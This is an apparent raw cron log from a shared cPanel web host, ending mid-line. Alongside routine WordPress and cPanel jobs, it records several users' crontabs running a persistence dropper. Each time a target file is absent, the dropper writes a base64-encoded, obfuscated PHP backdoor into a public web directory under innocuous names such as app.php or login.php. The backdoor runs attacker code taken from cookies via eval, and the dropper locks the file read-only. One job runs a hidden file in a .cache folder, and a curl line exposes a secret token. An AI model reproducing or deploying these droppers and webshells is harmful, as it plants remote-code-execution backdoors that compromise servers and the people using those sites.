Mar  1 10:12:01 medusa CROND[3669]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:12:01 medusa CROND[3670]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:12:01 medusa CROND[3672]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:12:01 medusa CROND[3673]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:13:01 medusa CROND[25200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:13:01 medusa CROND[25240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:13:01 medusa CROND[25270]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:13:01 medusa CROND[25271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:13:01 medusa CROND[25272]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:13:01 medusa CROND[25276]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:13:01 medusa CROND[25278]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:13:01 medusa CROND[25280]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:13:01 medusa CROND[25274]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 10:13:01 medusa CROND[25279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:13:01 medusa CROND[25283]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:13:01 medusa CROND[25291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:13:01 medusa CROND[25292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:13:01 medusa CROND[25295]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:14:01 medusa CROND[14824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:14:01 medusa CROND[14877]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:14:01 medusa CROND[14878]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:14:01 medusa CROND[14879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:14:01 medusa CROND[14880]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:14:01 medusa CROND[14882]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:14:01 medusa CROND[14881]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:14:01 medusa CROND[14884]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:14:01 medusa CROND[14889]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:14:01 medusa CROND[14890]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:14:01 medusa CROND[14898]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:14:01 medusa CROND[14901]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:14:01 medusa CROND[14902]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6